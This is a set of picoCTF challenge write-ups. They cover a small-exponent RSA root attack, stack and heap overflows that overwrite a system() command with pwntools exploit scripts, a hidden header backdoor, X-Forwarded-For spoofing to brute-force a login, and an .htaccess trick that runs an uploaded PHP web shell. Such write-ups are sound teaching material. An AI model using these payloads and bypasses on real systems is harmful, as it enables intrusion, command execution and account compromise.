Crack the Power
Information
- Category: Cryptography
- Points: 200
- Level: Mediun
Description
We received an encrypted message. The modulus is built from primes large enough that factoring them isn’t an option, at least not today. See if you can make sense of the numbers and reveal the flag.
Check out the message.txt
Hint
- When certain values in the encryption setup are smaller than usual, it opens up unexpected shortcuts to recover the plaintext
- Consider whether you can invert the encryption without factoring n.
- Read more about Coppersmith’s_attack
Solution
- The ciphertext c is an exact 20th power (e = 20) and c < n, so no modular reduction occurred. That means c = m^20 as an ordinary integer; the plaintext m is the integer 20th root of c. Taking the integer 20th root gives m, then interpreting m as ASCII (big-endian) yields the flag.
- Steps performed:
- Checked sizes:
bit-length(n) = 4096,bit-length(c) = 3817, soc < n. - Tested if
cis a perfect 20th power: computed integer 20th rootrand verifiedr*20 = c. - Converted
rto bytes (big-endian) and decoded as UTF-8/ASCII.
- Checked sizes:
- Here is the code base on the idea:
# integer 20th root + decode n = 533243488792862526372864876487972015558476758084609639178291036484536762505979244575533494210179721177427612771444407165530737395944304851576273837105495020943760864245479306542618510002482474205862628204754196547924816628892644743540164970080388264526664248913696849148511425119255713671555416474973315839345017109824349893148010866455964358290544676511280543217186127743655857081371266713418694384527145401015511524745607914050255166221258834450684893705781511821844099395903932453564599894459275163009075209010199883501651757350477674519968763648475565430724363201051610217288763953319606365780667742478503606233888576859352722076809743684159343050898842311263764404893493176121977631476550921422327027258721388423326937059110923457460318030756901735245816197255660210845666156979473229120283130937189483368618326646610727925656879968174934753321650897057490428159791619097768973322371191856903689557867217303295355238763695188844446446602773352153629404043068408327644141268659241706653484034372802622781271068072117494280260640208531182757711538823636556838888270621163106401504142980355241645849845227422621208433428766255132294103187339176714507386483525599169807412246213070204955287044372351174991253525495483482644039752259 e = 20 c = 640637430810406857500566702096274084238635318236179213474171471762962924031143406771762588590902396470755916529600404366017178856626504741264100246977770193177982321362431635239123331391332283310413781431317549724468046316011302717443301165248044916895605360942507583028357810072669019236437156021816483243897608716222651423340065746814875027190173089290179247176013883045798188232610328606575842929711953488636313111201073364434975416304861734107255474444898256437810232659581724786888468502454545178277401729068994688903655623034819685425430186901945673259366517562372649145103691296871839480367338134748035927612049747953193375204813837077096417935374925353519278729502554398818207750243092444833079944911226317963218327666226602587092863946963826671637061083175873944168270391171031158543469061673239737214705264979925667174942748269782844201684882259905429257929174592217288529234346005812956484839757692101317938929998836230049852549655586558526707728788020998340767097021929454867673939894353379731654252811545277025372592862223748563679444476115932107120123555249896845005062698950234571360385178811724060146325198188855919677023470832794001 # integer nth root function def integer_nth_root(a, n): if a == 0: return 0, True low = 1 high = 1 << ((a.bit_length() + n -1)//n + 1) while low <= high: mid = (low+high)//2 p = mid**n if p == a: return mid, True if p < a: low = mid+1 else: high = mid-1 return high, False r, ok = integer_nth_root(c, e) assert ok and r**e == c # decode hexm = hex(r)[2:] if len(hexm)%2: hexm = '0' + hexm flag = bytes.fromhex(hexm).decode() print(flag)
The flag is picoCTF{t1ny_e_f053d79c}
Input Injection 1
Information
- Category: Pwn
- Point:
- Level: Medium
Description
A friendly program wants to greet you… but its goodbye might say more than it should. Can you convince it to reveal the flag?
Additional details will be available after launching your challenge instance.
Connect to server via $ nc amiable-citadel.picoctf.net <PORT>
Hint
- Look closely at how the program stores and uses your input.
Solution
What we got?
- The problem gives us the src code of the server:
#include <string.h> #include <stdio.h> #include <stdlib.h> void fun(char *name, char *cmd); int main() { char name[200]; printf("What is your name?\n"); fflush(stdout); fgets(name, sizeof(name), stdin); name[strcspn(name, "\n")] = 0; fun(name, "uname"); return 0; } void fun(char *name, char *cmd) { char c[10]; char buffer[10]; strcpy(c, cmd); strcpy(buffer, name); printf("Goodbye, %s!\n", buffer); fflush(stdout); system(c); }- The code asks the user for their name, stores up to 199 bytes of input in
name, removes the trailing newline, and then callsfun(name, "uname"). Insidefun, two small 10‑byte arrays—candbuffer—are created on the stack, and"uname"is copied intoc. Then the user‑suppliednameis copied intobufferusingstrcpy, which blindly copies all bytes until a null terminator. The program prints “Goodbye,!” using the content of `buffer`, and finally executes the command stored in `c` via `system(c)`. Because `buffer` is smaller than the input allowed for `name`, copying `name` into `buffer` can overflow into `c` and change the command that gets executed, which is the root of the program’s vulnerability.
- The code asks the user for their name, stores up to 199 bytes of input in
How to get the flag ?
-
Base on the explanation, we see that the size of buffer is only 10, however, name’s size is 200. So our method can be buffer overflow to exploit to get flag.
from pwn import * HOST = "amiable-citadel.picoctf.net" PORT = 50945 p = remote(HOST, PORT) p.recvuntil(b"name?") p.recvline() name = b"a"*10 + b"cat flag.txt\n" # Injection happens here p.sendline(name) byeline = p.recvline() flag = p.recvline() print(flag) -
The flag is
picoCTF{0v3rfl0w_c0mm4nd_22530a1b}
Input Injection 2
Information
- Category: Pwn
- Point:
- Level: Medium
Description
This program greets you and then runs a command. But can you take control of what command it executes?
Connect to server via $ nc amiable-citadel.picoctf.net <PORT>
Hint
- Notice how username and shell are both heap-allocated.
- Offsets often hide in the memory addresses you see at runtime.
- Try to overwrite what command gets executed.
Solution
What we got?
- The problem gives us a src code:
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { char* username = malloc(28); char* shell = malloc(28); printf("username at %p\n", username); fflush(stdout); printf("shell at %p\n", shell); fflush(stdout); strcpy(shell, "/bin/pwd"); printf("Enter username: "); fflush(stdout); scanf("%s", username); printf("Hello, %s. Your shell is %s.\n", username, shell); system(shell); fflush(stdout); return 0; }- Explanation: The program allocates two 28‑byte buffers on the heap—
usernameandshell—and prints their memory addresses so the user can see where they are stored. It then copies the string"/bin/pwd"into theshellbuffer and prompts the user to enter a username. Becausescanf("%s")does not restrict input length, whatever the user types is written directly into theusernamebuffer, potentially overflowing into adjacent memory. After the input is stored, the program prints a greeting using both buffers and then callssystem(shell), which runs the command stored inside theshellstring. If the user input was longer than 28 bytes, it can overwrite the contents ofshell, allowing the executed command to be changed. This makes the program vulnerable to a heap‑based buffer overflow that can lead to unintended command execution.
- Explanation: The program allocates two 28‑byte buffers on the heap—
How to get the flag ?
- Run the code, we can see the address of
usernameandshell. Because the program usesscanf("%s")on a 28‑byteusernameallocation, the attacker can overflowusernameand overwrite the contents ofshell, which is later passed tosystem(). - We have the script to crack:
from pwn import * HOST = "amiable-citadel.picoctf.net" PORT = 58596 p = remote(HOST, PORT) user_address = int(p.recvline().strip().split()[-1], 16) shell_address = int(p.recvline().strip().split()[-1], 16) diff = shell_address - user_address p.recvuntil(b"username: ") name = b"A" * diff + b"cat<$(ls)\n" p.sendline(name) flag = p.recvline() print(flag) - The script calculates the distance between the two heap buffers (
diff = shell_address - user_address) and sends an input consisting ofdiffbytes of padding ("A" * diff) so that the overflow lands exactly on theshellstring. It then appends the payloadcat<$(ls)so that, oncesystem(shell)executes, the program runs a command that lists the files on the server and prints the contents of whichever file appears first—typically exposing the challenge flag. After sending this crafted input, the script reads and prints the resulting line, which contains the flag. -
Run it and we will have the flag:

Crack the Gate 1
Information
- Category: Web Exploitation
- Points: 100
- Level: Easy
Description
For this challenge, we have access to a web application that we must log into. There is no option to create an account, so we will have to find credentials in another way.

Hint
- Developers sometimes leave notes in the code; but not always in plain text.
- A common trick is to rotate each letter by 13 positions in the alphabet.
Solution
When checking the source code of the page, we come across this:

Base on the hints, the HTML comments we find is encoded in ROT13. So we need to decode it. This is the ROT13 decoding code:
#include <bits/stdc++.h>
using namespace std;
// ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf"
int main () {
string lower_encrypted = "#nopqrstuvwxyzabcdefghijklm";
string lower_alphabet = "#abcdefghijklmnopqrstuvwxyz";
string higher_encrypted = "#NOPQRSTUVWXYZABCDEFGHIJKLM";
string higher_alphabet = "#ABCDEFGHIJKLMNOPQRSTUVWXYZ";
string plaintext;
getline(cin, plaintext);
int n = plaintext.size();
for(int i=0; i<n; i++) {
if (plaintext[i] >= 'a' and plaintext[i] <= 'z') {
int index = int(plaintext[i]) - 'a' + 1;
cout << lower_encrypted[index];
} else if (plaintext[i] >= 'A' and plaintext[i] <= 'Z') {
int index = int(plaintext[i]) - 'A' + 1;
cout << higher_encrypted[index];
} else cout << plaintext[i];
}
cout << endl;
}
Checking the code result, we find this:

According to this message, we can use the header X-Dev-Access:yes, which is a backdoor left by the developers. To do this, we can use BurpSuite.
After intercepting and adding the header X-Dev-Access:yes to the request (along with any password), we can find the flag.

Crack the Gate 2
Information
- Category: Web Exploitation
- Points: 200
- Level: Medium
Description
Our task is to bypass the rate-limiting restriction and log in using the known email address: ctf-player@picoctf.org and uncover the hidden secret.
Here is the website:

And it gives us the list of passwords:
H3ZdQe9D
4s8RNXkB
G9YKC9r1
J49Q5uuo
ZARenM3b
X68f2Ftm
7IAgfz9e
nL7PeR6k
qz78oOR2
3bVphvph
KbZ5onCD
EfM5yTy8
h9KlW1Gj
oB0UKZ5X
rDRrlgst
xo5MjIYU
K6vkD1ev
yatrLaBx
TcBmTccF
yxMq7WAz
Hint
- What IP does the server think you’re coming from?
- Read more about X-forwarded-For
- You can rotate fake IPs to bypass rate limits.
Solution
- After testing some wrong password with the same source, we receive a 20-minute time-out. So for each password, we have to tried with another IP Address. Header
X-Forwarded-Forcan be used to provide the source IP. We can use BurpSuite to try to login to the web with a random IP Address and a password. - Brute Force until the flag is returned.

The flag is picoCTF{xff_byp4ss_brut3_3477bf15}
byp4ss3d
Information
- Category: Web Exploitation
- Points: 300
- Level: Medium
Description
This challenge asks us to bypass a registration portal that only allows students to upload ID images. The portal enforces image-only filters, so only files with image extensions are accepted.
Here is the website:

Hint
- Apache can be tricked into executing non-PHP files as PHP with a
.htaccessfile. - Try uploading more than just one file.
Solution
The website checks for image file extensions like .jpg, .png, and .gif before allowing uploads. However, the server uses Apache, which can be manipulated using a .htaccess file. By uploading a .htaccess file, we can instruct Apache to treat files with image extensions as PHP scripts, allowing us to upload a PHP shell disguised as an image.
Read more about .htaccess files.
Create files
.htaccessfile: This file configures Apache to process files with.jpg,.png, and.gifextensions as PHP code. This is the key to bypassing the image-only filter.

shell.jpgfile: This file contains PHP code. When Apache processes it as a PHP script (thanks to the.htaccess), it allows us to execute system commands by passing them as parameters.

Uploading the files and Executing commands
- Upload the
.htaccessfile and theshell.jpgfile to the server. - After uploading, both files appear in the
/images/directory:
- To check if the shell works, use the
lscommand to list directory contents:
- Use the
findcommand to search for the flag file (find / -name "*flag*"). The flag file is found in/var/www/:
- Finally, use the
catcommand to read the flag (cat /var/www/flag.txt):
The flag is picoCTF{s3rv3r_byp4ss_0c257942}
Conclusion
The main bug in this website is that it only checks file extensions to enforce image uploads, but does not validate the actual file content or restrict server-side configuration changes. Because Apache allows .htaccess files to override how files are handled, an attacker can upload a .htaccess file to make the server treat image files as PHP scripts. This lets a malicious user upload a PHP shell disguised as an image and execute arbitrary code on the server.
Scripted summary of the bug:
- User uploads
.htaccessfile, changing Apache’s behavior to treat.jpg,.png,.giffiles as PHP. - User uploads a PHP shell with an image extension (e.g.,
shell.jpg). - Server executes the shell as PHP, allowing command execution.
- Attacker gains access to sensitive files and system commands.
Root cause:
- The website relies only on file extension checks and allows
.htaccessuploads, enabling attackers to change server behavior and bypass security restrictions.